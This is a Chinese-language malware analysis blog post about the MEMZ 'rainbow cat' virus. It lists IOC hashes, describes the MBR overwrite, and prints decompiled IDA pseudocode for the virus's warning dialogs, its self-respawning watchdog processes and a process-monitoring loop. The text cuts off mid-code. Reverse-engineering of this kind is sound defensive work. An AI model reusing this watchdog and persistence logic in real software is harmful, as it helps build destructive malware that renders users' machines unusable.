彩虹猫病毒分析(MEMZ)

2023-08-23 06:42| 来源: 网络整理| 查看: 265

本篇文章由ChaMd5安全团逆向样本小组投稿IOC病毒名称：彩虹猫(MEMZ.exe)来源：https://app.any.run/tasks/3ffef12e-bddd-4c57-8aa5-906711a7b045/作用：篡改MBR分区，使用户启动只能显示彩虹猫画面；运行时鼠标键盘完全无用，会重复打开应用，耗尽系统资源。SHA256：A3D5715A81F2FBEB5F76C88C9C21EEEE87142909716472F911FF6950C790C24D SHA1：6FED7732F7CB6F59743795B2AB154A3676F4C822 MD5：19DBEC50735B5F2A72D4199C4E184960概述

这个病毒应该大神弄的重置版，因为有一定警示。同样apprun上面还有其它语言版本，包括js，.net等

分析

IDA打开，主线程会进行警示

if ( MessageBoxA( 0, "The software you just executed is considered malware.\r\n" "This malware will harm your computer and makes it unusable.\r\n" "If you are seeing this message without knowing what you just executed, simply press No and nothing will happen." "\r\n" "If you know what this malware does and are using a safe environment to test, press Yes to start it.\r\n" "\r\n" "DO YOU WANT TO EXECUTE THIS MALWARE, RESULTING IN AN UNUSABLE MACHINE?", "MEMZ", 0x34u) == 6 && MessageBoxA( 0, "THIS IS THE LAST WARNING!\r\n" "\r\n" "THE CREATOR IS NOT RESPONSIBLE FOR ANY DAMAGE MADE USING THIS MALWARE!\r\n" "STILL EXECUTE IT?", "MEMZ", 0x34u) == 6 )

如果用户忽略这两个警示，则程序开始创建子进程，重新运行自身

v10 = (WCHAR *)LocalAlloc(0x40u, 0x4000u); GetModuleFileNameW(0, v10, 0x2000u); v11 = 5; do { ShellExecuteW(0, 0, v10, L"/watchdog", 0, 10); --v11; } while ( v11 ); pExecInfo.cbSize = 60; pExecInfo.lpFile = v10; pExecInfo.lpParameters = L"/main"; pExecInfo.fMask = 64; pExecInfo.hwnd = 0; pExecInfo.lpVerb = 0; pExecInfo.lpDirectory = 0; pExecInfo.hInstApp = 0; pExecInfo.nShow = 10; ShellExecuteExW(&pExecInfo); SetPriorityClass(pExecInfo.hProcess, 0x80u);

其中5个子进程以/watchdog为参数，1个子进程以/main为参数

/watchdog参数if ( !lstrcmpW(v1[1], L"/watchdog") ) { CreateThread(0, 0, sub_40114A, 0, 0, 0); pExecInfo.lpVerb = (LPCWSTR)48; pExecInfo.lpParameters = (LPCWSTR)sub_401000; pExecInfo.hIcon = (HANDLE)"hax"; pExecInfo.lpFile = 0; pExecInfo.lpDirectory = 0; pExecInfo.nShow = 0; pExecInfo.hInstApp = 0; pExecInfo.lpIDList = 0; pExecInfo.lpClass = 0; pExecInfo.hkeyClass = 0; pExecInfo.dwHotKey = 0; pExecInfo.hProcess = 0; RegisterClassExA((const WNDCLASSEXA *)&pExecInfo.lpVerb); CreateWindowExA(0, "hax", 0, 0, 0, 0, 100, 100, 0, 0, 0, 0); while ( GetMessageW(&Msg, 0, 0, 0) > 0 ) { TranslateMessage(&Msg); DispatchMessageW(&Msg); } }

会创建一个sub_40114A线程，并且使用sub_401000函数监听消息。

sub_40114A函数

lpString1 = (LPCSTR)LocalAlloc(0x40u, 0x200u); v1 = GetCurrentProcess(); GetProcessImageFileNameA(v1, lpString1, 512);// 获取自己的可执行文件名称 Sleep(0x3E8u); while ( 1 ) { v2 = CreateToolhelp32Snapshot(2u, 0); pe.dwSize = 556; Process32FirstW(v2, &pe); v3 = lpString1; v4 = 0; do { hObject = OpenProcess(0x400u, 0, pe.th32ProcessID); lpString2 = (LPCSTR)LocalAlloc(0x40u, 0x200u); GetProcessImageFileNameA(hObject, lpString2, 512); if ( !lstrcmpA(v3, lpString2) ) // 查看一下该程序在内存中的进程数 ++v4; CloseHandle(hObject); LocalFree((HLOCAL)lpString2); } while ( Process32NextW(v2, &pe) ); CloseHandle(v2); if ( v4

【本文地址】

公司简介

联系我们